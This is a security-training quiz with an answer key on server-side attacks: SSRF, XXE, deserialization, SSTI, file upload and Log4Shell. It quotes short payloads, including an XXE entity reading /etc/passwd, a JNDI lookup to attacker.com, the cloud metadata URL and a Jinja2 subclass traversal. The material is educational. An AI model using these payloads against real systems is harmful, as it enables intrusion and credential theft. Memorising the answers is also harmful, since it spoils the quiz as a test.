Chapter 22 Quiz: Server-Side Attacks

Test your understanding of SSRF, XXE, insecure deserialization, SSTI, file upload attacks, and JNDI injection.

Question 1. What makes Server-Side Request Forgery (SSRF) particularly dangerous in cloud environments?

A) Cloud servers are always running outdated software B) The server can access internal cloud metadata services that return temporary security credentials C) Cloud firewalls do not filter SSRF attacks D) SSRF automatically provides root access to cloud instances

Question 2. The AWS Instance Metadata Service (IMDSv2) mitigates SSRF-based credential theft primarily by:

A) Encrypting all metadata responses with the instance's private key B) Requiring a session token obtained via a PUT request with a custom header C) Moving the metadata service to a random IP address on each boot D) Requiring AWS CLI authentication to access metadata

Question 3. Which of the following is an effective technique for detecting blind SSRF when the server response is not returned to the attacker?

A) Checking the HTTP status code of the response B) Using an out-of-band callback service (Burp Collaborator or interactsh) C) Analyzing the Content-Type header of the response D) Inspecting the server's TLS certificate

Question 4. An XML document contains: <!ENTITY xxe SYSTEM "file:///etc/passwd">. What type of attack does this represent?

A) SQL injection through XML B) Cross-site scripting via XML C) XML External Entity (XXE) injection for file disclosure D) XML Schema poisoning

Question 5. The "Billion Laughs" attack (<!ENTITY lol2 "&lol;&lol;&lol;...">) causes what type of impact?

A) Remote code execution through entity chaining B) Denial of service through exponential memory consumption C) Data exfiltration through recursive entity expansion D) Authentication bypass through entity override

Question 6. How does blind XXE exfiltration work when the entity value is not reflected in the application's response?

A) The attacker modifies the XML to include an XSS payload B) An external DTD constructs an entity that sends the file contents via HTTP to the attacker's server C) The file contents are embedded in the XML response headers D) The attacker must have access to server logs to see the entity values

Question 7. In Java deserialization attacks, what is a "gadget chain"?

A) A sequence of hardware devices used for the attack B) A chain of existing Java classes on the classpath that, when deserialized in sequence, achieve code execution C) An encryption chain used to protect serialized objects D) A sequence of HTTP requests that exploit the deserialization endpoint

Question 8. Which magic bytes at the beginning of a data stream indicate Java serialized data?

A) PK (50 4B) B) MZ (4D 5A) C) AC ED 00 05 D) 89 50 4E 47

Question 9. In Python's pickle module, the __reduce__ method is dangerous because:

A) It reduces the size of the serialized object, making it easier to transmit B) It specifies a callable and arguments to be invoked during deserialization, enabling arbitrary code execution C) It reduces the object to its base class, bypassing access controls D) It enables the pickle to be converted to JSON format

Question 10. To detect Server-Side Template Injection (SSTI), a penetration tester submits {{7*7}} in an input field and receives 49 in the response. What should be the next step?

A) Report the finding as critical and stop testing B) Submit {{7*'7'}} to distinguish between template engines (Jinja2 returns 7777777, Twig returns 49) C) Attempt SQL injection through the same field D) Submit <script>alert(1)</script> to test for XSS

Question 11. In Log4Shell (CVE-2021-44228), the attack payload ${jndi:ldap://attacker.com/x} works because:

A) Log4j sends all log messages to the URL specified in JNDI lookups B) Log4j's message lookup feature resolves JNDI expressions in logged strings, triggering remote class loading C) The LDAP protocol has a built-in code execution feature D) Java automatically executes any URL found in string variables

Question 12. Which file upload bypass technique creates a file that is simultaneously valid in two different formats?

A) Extension manipulation B) Content-Type spoofing C) Polyglot file creation (valid magic bytes + malicious code) D) Null byte injection

Question 13. A web application accepts a URL parameter for generating PDF reports. An attacker submits http://169.254.169.254/latest/meta-data/. The server makes the request and includes the metadata in the generated PDF. This is an example of:

A) Blind SSRF B) Full-read SSRF C) DNS rebinding D) HTTP request smuggling

Question 14. What is the most effective defense against insecure deserialization?

A) Encrypting serialized data before transmission B) Using shorter serialization formats to reduce attack surface C) Avoiding deserialization of untrusted data entirely, using safe formats like JSON instead D) Adding input validation to the deserialized data after reconstruction

Question 15. In SSTI exploitation against a Jinja2 template engine, accessing ''.__class__.__mro__[1].__subclasses__() allows the attacker to:

A) Read the application's source code directly B) Access Python's object class hierarchy to find dangerous classes like subprocess.Popen C) Modify the template engine's configuration D) Bypass the template sandbox by accessing CSS classes

Question 16. An attacker uploads a file named shell.php.jpg to a web server running Apache. Under what condition would this file execute as PHP?

A) Apache always executes files containing .php anywhere in the filename B) If Apache is configured with AddHandler application/x-httpd-php .php and processes files with multiple extensions C) If the Content-Type header is set to application/x-httpd-php D) It would never execute as PHP because the final extension is .jpg

Question 17. The gopher:// protocol is particularly useful in SSRF attacks because:

A) It is faster than HTTP for making server-side requests B) It allows crafting arbitrary TCP data, enabling protocol smuggling to interact with various services C) It bypasses all firewall rules D) It provides encrypted communication with internal services

Question 18. Which of the following is NOT a valid mitigation for Log4Shell?

A) Upgrading Log4j to version 2.17.1 or later B) Setting the JVM flag -Dlog4j2.formatMsgNoLookups=true C) Removing the JndiLookup class from the Log4j classpath D) Configuring the firewall to block all HTTP traffic on port 443

Answer Key

  1. B — Cloud metadata services at 169.254.169.254 provide temporary security credentials that grant access to cloud resources (S3, databases, etc.), making SSRF in cloud environments especially impactful.

  2. B — IMDSv2 requires a session token obtained through a PUT request with a X-aws-ec2-metadata-token-ttl-seconds header. Most SSRF vulnerabilities can only trigger GET requests and cannot set custom headers.

  3. B — Out-of-band callback services detect blind SSRF by receiving DNS/HTTP requests from the server, confirming it is making outbound requests to attacker-specified destinations.

  4. C — The SYSTEM entity directive instructs the XML parser to read the specified file and include its contents in the document — a classic XXE file disclosure attack.

  5. B — The Billion Laughs attack creates exponentially expanding entity references. Each level multiplies by 10, creating billions of entity expansions that consume all available memory.

  6. B — Blind XXE uses an external DTD to construct a URL that includes the target file's contents as a parameter, causing the XML parser to send the data to the attacker's server as an HTTP request.

  7. B — A gadget chain is a sequence of existing Java classes (available on the application's classpath) that, when triggered through deserialization, invoke each other in sequence ultimately achieving arbitrary code execution.

  8. C — AC ED 00 05 is the magic byte sequence for Java serialized objects. In Base64 encoding, this appears as rO0AB.

  9. B — The __reduce__ method returns a tuple of (callable, arguments) that Python's pickle calls during deserialization. An attacker can specify os.system with arbitrary commands.

  10. B — After confirming template injection, the next step is identifying the specific template engine, as exploitation techniques differ significantly between engines. The {{7*'7'}} test distinguishes Jinja2 from Twig.

  11. B — Log4j's message lookup substitution feature processed ${...} patterns in log messages. The JNDI lookup caused the application to connect to the attacker's LDAP server and load a malicious Java class.

  12. C — A polyglot file begins with valid magic bytes for one format (e.g., JPEG's FF D8 FF E0) while containing executable code for another format, passing both file type validation and execution.

  13. B — This is full-read (non-blind) SSRF because the server returns the response content to the attacker (embedded in the generated PDF), allowing direct data exfiltration.

  14. C — The most effective defense is eliminating untrusted deserialization entirely. Input validation occurs too late (after the dangerous deserialization has already occurred), and encryption only prevents modification, not malicious crafting.

  15. B — This Python Method Resolution Order (MRO) traversal accesses the base object class and enumerates all its subclasses, searching for classes like subprocess.Popen or os._wrap_close that can execute system commands.

  16. B — With certain Apache configurations involving AddHandler, files with multiple extensions are processed based on all extensions present. If .php is associated with the PHP handler, shell.php.jpg may be executed as PHP.

  17. B — The gopher protocol allows crafting arbitrary TCP payloads, enabling an attacker to construct valid requests for protocols like Redis, SMTP, MySQL, and others through an SSRF vulnerability.

  18. D — Blocking HTTP traffic on port 443 would disable the application itself and is not a targeted mitigation. The other three options are all valid, recommended mitigations for Log4Shell.

Return to Chapter 22: Server-Side Attacks